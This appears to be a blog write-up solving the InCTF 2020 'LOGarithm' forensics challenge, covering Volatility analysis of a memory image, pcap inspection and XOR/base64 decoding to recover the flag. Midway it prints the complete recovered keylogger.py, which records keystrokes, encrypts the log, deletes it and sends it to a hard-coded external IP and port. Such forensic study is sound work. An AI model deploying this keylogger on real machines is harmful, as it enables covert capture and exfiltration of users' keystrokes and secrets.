Wargame/CTF

InCTF 2020 Forensics_LOGarithm

마띠(쥔장) 2020. 8. 9. 23:47

Let's solve the second forensics question.

Two pcap and vmem files were given below.

First, you need image information about the vmem file.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem imageinfo

I ran 'cmdscan' because I thought I could find a hint from the command entered in cmd, but I couldn't get any other hints.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem --profile=Win7SP1x64 cmdscan

Next I looked at the list of processes.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem --profile=Win7SP1x64 pslist

Among them, the file 'Pythonw.exe' looked suspicious, and I ran the 'cmdline' plug-in using its PID, 2216, to determine which file was executed.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem --profile=Win7SP1x64 cmdline -p 2216

A file named keylogger.py has been launched.

 

The 'filescan', 'dumpfiles' plug-in was used to analyze keylogger.py.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem --profile=Win7SP1x64 filescan | findstr "keylogger.py"

First, the offset is '0x000000003ee119b0'.

Since it is a window environment, I used 'findstr' command instead of 'grep'.

I created dump file in current directory using this offset address.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000003ee119b0 -D ./

That's how the file below was obtained.

import socket, os
from pynput.keyboard import Key, Listener
import socket

import logging
list1 = []

def keylog():
    dir = r"C:\Users\Mike\Desktop\key.log"
    logging.basicConfig(filename=dir, level=logging.DEBUG,format='%(message)s')

    def on_press(key):
        a = str(key).replace("u'","").replace("'","")
        list1.append(a)

    def on_release(key):
        if str(key) == 'Key.esc':
            print "Data collection complete. Sending data to master"
            logging.info(' '.join(list1))
            logging.shutdown()
            master_encrypt()
        

    with Listener(
        on_press = on_press,
        on_release = on_release) as listener:
        listener.join()

def send_to_master(data):
    s = socket.socket()
    host = '18.140.60.203'
    port = 1337
    
    s.connect((host, port))
    key_log = data
    s.send(key_log)
    s.close()
    exit(1)

def master_encrypt():
    mkey = os.getenv('t3mp')
    f = open("C:/Users/Mike/Desktop/key.log","r")
    modified = ''.join(f.readlines()).replace("\n","")
    f.close()
    data = master_xor(mkey, modified).encode("base64")
    os.unlink("C:/Users/Mike/Desktop/key.log")
    send_to_master(data)

def master_xor(msg,mkey):
    l = len(mkey)
    xor_complete = ""

    for i in range(0, len(msg)):
        xor_complete += chr(ord(msg[i]) ^ ord(mkey[i % l]))
    
    return xor_complete

if __name__ == "__main__":
    keylog()                       

 

We can see here the IP address and port number of the PC where 'master' receives data.

You can also see that the log data is sent via master_encrypt() and master_xor() with a variable called 't3mp' followed by base64 encoding.

At this time, a plug-in named 'envars' was used to view key values stored in an environment variable called 't3mp'.

.\volatility_2.6_win64_standalone.exe -f .\Evidence.vmem --profile=Win7SP1x64 envars | findstr pythonw.exe

Key value (t3mp): UXpwY1VIbDBhRzl1TWpkY08wTTZYRkI1ZEdodmJqSTNYRk5qY21sd2RITTdRenBjVjJsdVpHOTNjMXh6ZVhOMFpXMHpNanRET2x4WAphVzVrYjNkek8wTTZYRmRwYm1SdmQzTmNVM2x6ZEdWdE16SmNWMkpsYlR0RE9seFhhVzVrYjNkelhGTjVjM1JsYlRNeVhGZHBibVJ2CmQzTlFiM2RsY2xOb1pXeHNYSFl4TGpCY08wTTZYRkJ5YjJkeVlXMGdSbWxzWlhNZ0tIZzROaWxjVG0xaGNDNURUMDA3TGtWWVJUc3UKUWtGVU95NURUVVE3TGxaQ1V6c3VWa0pGT3k1S1V6c3VTbE5GT3k1WFUwWTdMbGRUU0RzdVRWTkQK

 

From now on, I think we'll need a pcap file.

When setting up a filter for the ip address and port number, you can 9 lists.

You can see the data (msg) in long packets.

PXgRVzcRMWkNZGIccglMH3QwUAR5XxgQdDh6PHJFaVJ6KkQCRAVqGHMfKyB8GEUQOlcRF0RTcj90
MUR8RSUnE3gZOhIHM1A7bzFuCW0qSFN6IkgEKD9eKz0pEytBCHIpdFNYU3cKFRF4CSYTOg9uAkUF
GBR0IHo/ciY3DnceWToCGXEBdANuZW1EWAV6N0QcATwfRTsEKCNtNFA4PBV8QzosXwdFEkgadjEz
C3cZJgIDGEgSdBl2XW16Lwp3HzonAyJIGHoDJxBMJSJbJRlxKXQcZl1tX3I4PEtWPApYFixFF248
cw0JTXo0GCo/RBgodDl6bXJaan48E2QYDT8KLG0LRCBCHB0DeR8AJzxEVDR6MTc2TzILCT5nUVgP
ZylkIXVyIW03YR10IFQ4dzlqMkNfdS51eVQkdjoZWG49cjx2HSBKejQIADJUdlJDUnYhQVVQaXR4
Dkh9QiZXAFZ2J0IgFSR0QUtUdzJ1PDItSj4SJjEwdVZyFkQ3cjB0IDQy

Now that we know the values of 'msg' and 't3mp', we can decode them.

This is a simple Python code based on keylogger.py.

import base64
mkey = "UXpwY1VIbDBhRzl1TWpkY08wTTZYRkI1ZEdodmJqSTNYRk5qY21sd2RITTdRenBjVjJsdVpHOTNjMXh6ZVhOMFpXMHpNanRET2x4WAphVzVrYjNkek8wTTZYRmRwYm1SdmQzTmNVM2x6ZEdWdE16SmNWMkpsYlR0RE9seFhhVzVrYjNkelhGTjVjM1JsYlRNeVhGZHBibVJ2CmQzTlFiM2RsY2xOb1pXeHNYSFl4TGpCY08wTTZYRkJ5YjJkeVlXMGdSbWxzWlhNZ0tIZzROaWxjVG0xaGNDNURUMDA3TGtWWVJUc3UKUWtGVU95NURUVVE3TGxaQ1V6c3VWa0pGT3k1S1V6c3VTbE5GT3k1WFUwWTdMbGRUU0RzdVRWTkQK"
msg = "PXgRVzcRMWkNZGIccglMH3QwUAR5XxgQdDh6PHJFaVJ6KkQCRAVqGHMfKyB8GEUQOlcRF0RTcj90MUR8RSUnE3gZOhIHM1A7bzFuCW0qSFN6IkgEKD9eKz0pEytBCHIpdFNYU3cKFRF4CSYTOg9uAkUFGBR0IHo/ciY3DnceWToCGXEBdANuZW1EWAV6N0QcATwfRTsEKCNtNFA4PBV8QzosXwdFEkgadjEzC3cZJgIDGEgSdBl2XW16Lwp3HzonAyJIGHoDJxBMJSJbJRlxKXQcZl1tX3I4PEtWPApYFixFF248cw0JTXo0GCo/RBgodDl6bXJaan48E2QYDT8KLG0LRCBCHB0DeR8AJzxEVDR6MTc2TzILCT5nUVgPZylkIXVyIW03YR10IFQ4dzlqMkNfdS51eVQkdjoZWG49cjx2HSBKejQIADJUdlJDUnYhQVVQaXR4Dkh9QiZXAFZ2J0IgFSR0QUtUdzJ1PDItSj4SJjEwdVZyFkQ3cjB0IDQy"
d_msg = base64.b64decode(msg)

def xor(msg,mkey):
    l = len(mkey)
    xor_result = ""
    for i in range(0, len(msg)):
        xor_result += chr(ord(msg[i]) ^ ord(mkey[i%l]))
    return xor_result


if __name__ == "__main__":
    print(xor(d_msg, mkey))

And found flag.

flag: inctf{n3v3r_TrUs7_Sp4m_e_m41Ls}

728x90